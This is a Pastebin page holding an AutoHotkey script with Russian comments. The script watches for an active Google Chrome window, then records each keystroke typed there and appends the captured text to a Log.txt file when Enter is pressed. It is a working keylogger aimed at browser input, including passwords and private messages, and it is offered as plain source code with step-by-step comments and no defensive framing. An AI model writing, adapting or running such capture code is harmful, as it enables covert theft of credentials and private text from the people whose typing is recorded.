Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #CommentFlag //
- // перезапускать, если уже запущен:
- #SingleInstance Force
- // убрать иконку в трее, если необходимо -- убери '//' перед '#'
- // #NoTrayIcon
- // не прекращать выполнение скрипта:
- #Persistent
- // наивысшая скорость исполнения скрипта:
- SetBatchLines -1
- // название окна, которое будем отслеживать:
- MyTitle := "Google Chrome"
- // минимальное отклонение между двумя позициями курсора (px):
- Infelicity := "5"
- // название будущего файла:
- FileName := "Log.txt"
- // устанавливаем таймер на функцию с периодичностью в 0,1 с:
- SetTimer, WatchWindow, 100
- // прекращаем "автовыполнение" скрипта
- return
- WatchWindow:
- // получаем заголовок активного окна
- WinGetActiveTitle, Title
- // если в текущем названии окна есть что-то, содержащееся в нашеё переменной:
- if Title Contains % MyTitle
- {
- // выводим в TrayTip:
- TrayTip, Current window: %Title%, Yes`, contains!
- // устанавливаем таймер на функцию с периодичностью в 1 с:
- SetTimer, WatchMouse, 100
- // выключаем текущий таймер:
- SetTimer, WatchWindow, Off
- }
- // если же условие не выполнено, то
- else
- {
- // выводим в TrayTip:
- TrayTip, Current window: %Title%, No!
- }
- // прекращаем "автовыполнение" скрипта.
- return
- WatchMouse:
- // получаем текущую позицию курсора:
- MouseGetPos, MouseX, MouseY
- // если первая переменная с позициями пуста, то:
- if (MouseFirstPositionX="" && MouseFirstPositionY="") {
- // записываем в переменную "MouseFirstPositionX" позицию по оси "X":
- MouseFirstPositionX := MouseX
- // записываем в переменную "MouseFirstPositionY" позицию по оси "Y":
- MouseFirstPositionY := MouseY
- // прекращаем выполнение функции.
- return
- }
- // если вторая переменная с позициями пуста, то:
- if (MouseSecondPositionX="" && MouseSecondPositionY="") {
- // записываем в переменную "MouseSecondPositionX" позицию по оси "X":
- MouseSecondPositionX := MouseX
- // записываем в переменную "MouseSecondPositionY" позицию по оси "Y":
- MouseSecondPositionY := MouseY
- // прекращаем выполнение функции.
- return
- }
- // ещё раз получаем название активного окна:
- WinGetActiveTitle, Title
- // если наше окно по-прежнему активно:
- if Title Contains % MyTitle
- {
- // сравниваем переменные с минимальным отклонением позиции:
- If (MouseFirstPositionX-MouseSecondPositionX<Infelicity && MouseFirstPositionY-MouseSecondPositionY<Infelicity OR MouseFirstPositionX+MouseSecondPositionX>Infelicity && MouseFirstPositionY+MouseSecondPositionY>Infelicity)
- // если условие выполнено:
- {
- // то переходим к функции перехвата,
- Gosub, WatchKeyboard
- // после чего выключаем текущий таймер:
- SetTimer, WatchMouse, Off
- // и прекращаем выполнение текущей функции.
- return
- }
- // иначе прекращаем выполнение текущей функции.
- else
- {
- return
- }
- // если окно неактивно, то начинаем всё по-новой:
- }
- else
- {
- SetTimer, WatchWindow, 100
- }
- // прекращаем выполнение функции.
- return
- WatchKeyboard:
- Loop {
- ToolTip, Export: %Export%
- // перехватываем клавишу:
- Input, SingleKey, B C L1 V
- // добавляем её в переменную:
- Export := Export SingleKey
- // необходимо указать, что переменная с текстом уже не пуста:
- Repeat:="1"
- // определяем позицию курсора:
- Gosub, WatchMouse2
- }
- // прекращаем выполнение функции.
- return
- WatchMouse2:
- // получаем текущую позицию курсора:
- MouseGetPos, MouseX, MouseY
- // и, если она больше минимального отклонения - дописываем разделитель
- if (MouseX-MouseSecondPositionX<Infelicity OR MouseY-MouseSecondPositionY<Infelicity)
- Export := Export
- // возвращаемся к перехвату
- Gosub, WatchKeyboard
- // прекращаем выполнение функции.
- return
- Enter::
- WriteLog:
- // если переменная с текстом не пуста
- if (Repeat!="")
- {
- // то записываем содержимое переменной в файл
- FileAppend, % Export, %a_scriptdir%\%Filename%
- // и завершаем работу
- ExitApp
- }
- else
- {
- // если условие не выполнено, то высылаем клавишу:
- Send {ENTER}
- }
- // прекращаем выполнение функции.
- return
Advertisement
Add Comment
Please, Sign In to add comment